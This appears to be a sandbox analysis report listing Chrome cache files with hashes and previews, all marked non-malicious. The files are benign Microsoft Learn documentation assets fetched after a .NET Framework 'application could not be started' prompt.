SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
